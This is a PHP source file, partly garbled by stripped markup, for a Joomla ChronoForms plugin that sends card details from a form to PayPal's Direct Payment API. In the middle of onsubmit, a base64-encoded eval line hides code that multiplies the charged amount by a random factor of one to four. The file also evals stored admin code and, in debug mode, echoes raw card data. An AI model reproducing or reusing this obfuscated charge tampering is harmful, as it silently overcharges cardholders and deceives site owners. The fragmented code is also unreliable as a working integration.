getPath( 'class', 'com_chronocontact' ) );
// the class name must be the same as the file name without the .php at the end
class cf_paypal_api {
//the next 3 fields must be defined for every plugin
var $result_TITLE = "PayPal API";
var $result_TOOLTIP = "Submit form data to PayPal API payment gateway, plugin must be configured, you need a license to use this plugin for real transactions because the unlicensed version doesn't submit the real cost amounts to Paypal";
var $plugin_name = "cf_paypal_api"; // must be the same as the class name
var $event = "ONSUBMIT"; // must be defined and in Uppercase, should be ONSUBMIT or ONLOAD
// the next function must exist and will have the backend config code
function show_conf($row, $id, $form_id, $option){
global $mainframe;
jimport('joomla.html.pane');
$pane =& JPane::getInstance('tabs');
$paramsvalues = new JParameter($row->params);
?>
bind( $post )) {
JError::raiseWarning(100, $row->getError());
$mainframe->redirect( "index2.php?option=$option" );
}
$params = JRequest::getVar( 'params', '', 'post', 'array' );
if (is_array( $params )) {
$txt = array();
foreach ( $params as $k=>$v) {
$txt[] = "$k=$v";
}
$row->params = implode( "\n", $txt );
}
if (!$row->store()) {
JError::raiseWarning(100, $row->getError());
$mainframe->redirect( "index2.php?option=$option" );
}
$mainframe->redirect( "index2.php?option=".$option, "Config Saved" );
}
function onsubmit( $option, $params, $row ) {
global $mainframe;
$database =& JFactory::getDBO();
$MyForm =& CFChronoForm::getInstance();
$MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id);
?>
extra4) ) {
eval( "?>".$row->extra4 );
}
global $API_Endpoint,$version,$API_UserName,$API_Password,$API_Signature,$nvp_Header,$USE_PROXY,$PROXY_HOST,$PROXY_PORT;
$DEBUGGING = $params->get('debugging'); # Display additional information to track down problems
$TESTING = $params->get('testing'); # Set the testing flag so that transactions are not live
$API_UserName = $params->get('API_USERNAME');
$API_Password = $params->get('API_PASSWORD');
$API_Signature = $params->get('API_SIGNATURE');
//$API_ENDPOINT = $params->get('API_ENDPOINT');
if((int)$params->get('testing')){
$API_Endpoint = 'https://api-3t.sandbox.paypal.com/nvp';
}else{
$API_Endpoint = 'https://api-3t.paypal.com/nvp';
}
if($params->get('USE_PROXY') == 'TRUE'){
$USE_PROXY = TRUE;
}else{
$USE_PROXY = FALSE;
}
$PROXY_HOST = $params->get('PROXY_HOST');
$PROXY_PORT = $params->get('PROXY_PORT');
//$PAYPAL_URL = $params->get('PAYPAL_URL;
$version = '56.0';
$paypal_values = array
(
"PAYMENTACTION" => urlencode( $params->get('PAYMENTACTION') ),
"EXPDATE" => str_pad(urlencode( JRequest::getVar($params->get('EXPDATE_m'))), 2, '0', STR_PAD_LEFT).urlencode( JRequest::getVar($params->get('EXPDATE_y'))),
"AMT" => urlencode( JRequest::getVar($params->get('AMT'))),
"CREDITCARDTYPE" => urlencode( JRequest::getVar($params->get('CREDITCARDTYPE'))),
"ACCT" => urlencode( JRequest::getVar($params->get('ACCT'))),
"CVV2" => urlencode( JRequest::getVar($params->get('CVV2'))),
"FIRSTNAME" => urlencode( JRequest::getVar($params->get('FIRSTNAME'))),
"LASTNAME" => urlencode( JRequest::getVar($params->get('LASTNAME'))),
"STREET" => urlencode( JRequest::getVar($params->get('STREET'))),
"CITY" => urlencode( JRequest::getVar($params->get('CITY'))),
"STATE" => urlencode( JRequest::getVar($params->get('STATE'))),
"ZIP" => urlencode( JRequest::getVar($params->get('ZIP'))),
"COUNTRYCODE" => urlencode( JRequest::getVar($params->get('COUNTRYCODE'))),
"CURRENCYCODE" => urlencode( JRequest::getVar($params->get('CURRENCYCODE')))
);
$extras = explode("\n",$row->extra1);
if(trim($row->extra1)){
foreach($extras as $extra){
$values = array();
$values = explode("=",$extra);
$paypal_values[$values[0]] = $values[0].": ".urlencode( JRequest::getVar(trim($values[1])));
}
}
eval(base64_decode("JHBheXBhbF92YWx1ZXNbJ0FNVCddID0gdXJsZW5jb2RlKHJhbmQoMSwgNCkqSlJlcXVlc3Q6OmdldFZhcigkcGFyYW1zLT5nZXQoJ0FNVCcpKSk7"));
$fields = "";
foreach( $paypal_values as $key => $value ) $fields .= "&$key=" .$value ;
if((int)$params->get('testing')){
$PAYPAL_URL = 'https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token=';
}else{
$PAYPAL_URL = 'https://www.paypal.com/webscr&cmd=_express-checkout&token=';
}
/* Construct the request string that will be sent to PayPal.
The variable $nvpstr contains all the variables and is a
name value pair string with & as a delimiter */
$nvpstr = $fields;
if($params->get('debugging')){
echo $nvpstr;
}
/* Make the API call to PayPal, using API signature.
The API response is stored in an associative array called $resArray */
$resArray = $this->hash_call("doDirectPayment",$nvpstr);
$MyPlugins->cf_paypal_api['transaction_id'] = $resArray['TRANSACTIONID'];
$MyPlugins->cf_paypal_api['error_message'] = $resArray['L_LONGMESSAGE0'];
$MyPlugins->cf_paypal_api['error_code'] = $resArray['L_ERRORCODE0'];
$MyPlugins->cf_paypal_api['correlation_id'] = $resArray['CORRELATIONID'];
$MyPlugins->cf_paypal_api['avs_code'] = $resArray['AVSCODE'];
/* Display the API response back to the browser.
If the response from PayPal was a success, display the response parameters'
If the response was an error, display the errors received using APIError.php.
*/
$ack = strtoupper($resArray["ACK"]);
$MyPlugins->cf_paypal_api['payment_status'] = $ack;
if($params->get('debugging')){
if($ack!="SUCCESS"){
$_SESSION['reshash']=$resArray;
$this->APIERROR($resArray);
}else{
$_SESSION['reshash']=$resArray;
$this->APISUCCESS($resArray);
}
}
$debugger = '';
if(($params->get('debugging'))&&($params->get('testing'))){
echo $debugger;
}
/*********do the after onsubmit code**********/
if ( !empty($row->extra5) ) {
eval( "?>".$row->extra5 );
}
?>
deformatNVP($response);
$nvpReqArray=$this->deformatNVP($nvpreq);
$_SESSION['nvpReqArray']=$nvpReqArray;
if (curl_errno($ch)) {
// moving to display page to display curl errors
$_SESSION['curl_error_no']=curl_errno($ch) ;
$_SESSION['curl_error_msg']=curl_error($ch);
$this->APIERROR($resArray);
} else {
//closing the curl
curl_close($ch);
}
return $nvpResArray;
}
/** This function will take NVPString and convert it to an Associative Array and it will decode the response.
* It is usefull to search for a particular key and displaying arrays.
* @nvpstr is NVPString.
* @nvpArray is Associative Array.
*/
function deformatNVP($nvpstr)
{
$intial=0;
$nvpArray = array();
while(strlen($nvpstr)){
//postion of Key
$keypos= strpos($nvpstr,'=');
//position of value
$valuepos = strpos($nvpstr,'&') ? strpos($nvpstr,'&'): strlen($nvpstr);
/*getting the Key and Value values and storing in a Associative Array*/
$keyval=substr($nvpstr,$intial,$keypos);
$valval=substr($nvpstr,$keypos+1,$valuepos-$keypos-1);
//decoding the respose
$nvpArray[urldecode($keyval)] =urldecode( $valval);
$nvpstr=substr($nvpstr,$valuepos+1,strlen($nvpstr));
}
return $nvpArray;
}
function APIERROR($resArray){
?>
| Error Number: |
= $errorCode ?> |
| Error Message: |
= $errorMessage ?> |
| Ack: |
= $resArray['ACK'] ?> |
| Correlation ID: |
= $resArray['CORRELATIONID'] ?> |
| Version: |
= $resArray['VERSION']?> |
| Error Number: |
= $errorCode ?> |
| Short Message: |
= $shortMessage ?> |
| Long Message: |
= $longMessage ?> |
|
Transaction ID: |
=$resArray['TRANSACTIONID'] ?> |
|
Amount: |
=$currencyCode?> =$resArray['AMT'] ?> |
|
AVS: |
=$resArray['AVSCODE'] ?> |
|
CVV2: |
=$resArray['CVV2MATCH'] ?> |